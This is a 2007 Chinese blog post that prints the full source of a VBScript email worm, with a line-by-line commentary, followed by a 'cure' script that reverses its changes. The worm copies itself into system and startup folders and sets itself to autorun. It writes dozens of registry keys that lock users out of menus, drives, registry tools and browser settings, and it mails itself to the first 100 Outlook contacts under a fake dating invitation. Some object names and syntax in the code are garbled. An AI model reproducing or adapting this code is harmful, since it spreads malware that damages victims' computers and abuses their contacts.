vbs病毒代码

 

vbs病毒代碼

2007-07-11 21:26

on error resume next set fs=createobject("ing.filesystemobject" '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作 set dir1=fs.getspecialfolder(0) '获取windows/winnt文件夹位置 set dir2=fs.getspecialfolder(1) '获取system32/system文件夹位置 set so=createobject("ing.filesystemobject" dim r '定义一个变量 set r=createobject("w.shell" so.getfile(w.fullname).copy(dir1&"/win32system.vbs" '复制病毒副本到windows/winnt文件夹位置 so.getfile(w.fullname).copy(dir2&"/win32system.vbs" '复制病毒副本到system32/system文件夹位置 so.getfile(w.fullname).copy(dir1&"/start menu/programs/启动/win32system.vbs" '复制病毒副本到start menu启动菜单 '下面是对注册表的恶意修改和简单的依靠oe传播 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/norun",1,"reg_dword" '修改注册表，禁止“运行”菜单 r.regwrite "kcu/software/microsoft/windows/currentversion/policies/explorer/noclose",1,"reg_dword" '修改注册表，禁止“关闭”菜单 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodrives",63000000,"reg_dword" '修改注册表，隐藏所有逻辑盘符 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/system/disableregistrytools",1,"reg_dword" '修改注册表，禁止注册表编辑 r.regwrite "hklm/software/microsoft/windows/currentversion/run/scanregistry","" '修改注册表，禁止开机注册表扫描 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nologoff",1,"reg_dword" '修改注册表，禁止“注销”菜单 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/norealmode",1,"reg_dword" '修改注册表，禁止ms-dos实模式 r.regwrite "hklm/software/microsoft/windows/currentversion/run/win32system","win32system.vbs" '修改注册表，使这个脚本本身开机自动运行 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodesktop",1,"reg_dword" '修改注册表，禁止显示桌面图标 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/disabled",1,"reg_dword" '修改注册表，禁止纯dos模式 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosettaskbar",1,"reg_dword" '修改注册表，禁止“任务栏和开始”菜单 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noviewcontextmenu",1,"reg_dword" '修改注册表，禁止右键菜单 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosetfolders",1,"reg_dword" '修改注册表，禁止控制面板 r.regwrite "hklm/software/classes/.reg/","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联 r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticecaption","警告" '设置开机提示框标题 r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticetext","您中vbs脚本病毒了，哭吧~" '设置开机提示框文本内容 set ol=createobject("outlook.application" '创建outlook文件对象用于传播 on error resume next for x=1 to 100 set mail=ol.createitem(0) mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名发送此 vbs病毒，可以算是简单弱智的蠕虫了吧~~ mail.subject="今晚你来吗？" '邮件主题 mail.body="朋友你好：您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ 同城约会网" '邮件内容 mail.attachments.add(dir2&"win32system.vbs" mail.send next ol.quit '下面是对internet explore 选项的恶意修改 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsercontextmenu",1,"reg_dword" '修改注册表，禁止鼠标右键 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowseroptions",1,"reg_dword" '修改注册表，禁止internet选项 r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsersaveas",1,"reg_dword" '修改注册表，禁止“另存为” r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nofileopen",1,"reg_dword" '修改注册表，禁止“文件/打开”菜单 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/advanced",1,"reg_dword" '修改注册表，禁止更改高级页设置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/cache internet",1,"reg_dword" '修改注册表，禁止更改临时文件设置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/autoconfig",1,"reg_dword" '修改注册表，禁止更改自动配置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/homepage",1,"reg_dword" '修改注册表，禁止更改主页，即“主页”变灰 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/history",1,"reg_dword" '修改注册表，禁止更改历史记录设置 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/connwiz admin lock",1,"reg_dword" '修改注册表，禁止更改internet连接向导 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/securitytab",1,"reg_dword" '修改注册表，禁止更改安全项 r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/resetwebsettings",1,"reg_dword" '修改注册表，禁止“重置web设置” r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/noviewsource",1,"reg_dword" '修改注册表，禁止查看源文件 r.regwrite "hkcu/software/policies/microsoft/internet explorer/infodelivery/restrictions/noaddingsubions",1,"reg_dword" '修改注册表，禁止添加脱机计划 r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nofilemenu",1,"reg_dword" '修改注册表，禁止“文件”菜单 下面就是“解药”--恢复文件reset.vbs的源代码： （由于这里与上面的病毒破坏恶意修改恰好相反，故不做注释了） set fs=createobject("ing.filesystemobject" set dir1=fs.getspecialfolder(0) set dir2=fs.getspecialfolder(1) set so=createobject("ing.filesystemobject" dim r set r=createobject("w.shell" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir1&"/win32system.vbs" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir2&"/win32system.vbs" r.regwrite "hklm/software/microsoft/windows/currentversion/runonce/deltree.exe","start.exe /m deltree /y "&dir1&"/start menu/programs/启动/win32system.vbs" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/norun",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noclose",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodrives",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/system/disableregistrytools",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/run/scanregistry","scanregw.exe /autorun" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nologoff",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/norealmode",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/run/win32system","" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nodesktop",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/winoldapp/disabled",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosettaskbar",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/noviewcontextmenu",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nosetfolders",0,"reg_dword" r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticecaption","" r.regwrite "hklm/software/microsoft/windows/currentversion/winlogon/legalnoticetext","" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsercontextmenu",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowseroptions",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nobrowsersaveas",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/nofileopen",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/advanced",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/cache internet",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/autoconfig",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/homepage",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/history",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/connwiz admin lock",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/securitytab",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/control panel/resetwebsettings",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/restrictions/noviewsource",0,"reg_dword" r.regwrite "hkcu/software/policies/microsoft/internet explorer/infodelivery/restrictions/noaddingsubions",0,"reg_dword" r.regwrite "hkcu/software/microsoft/windows/currentversion/policies/explorer/nofilemenu",0,"reg_dword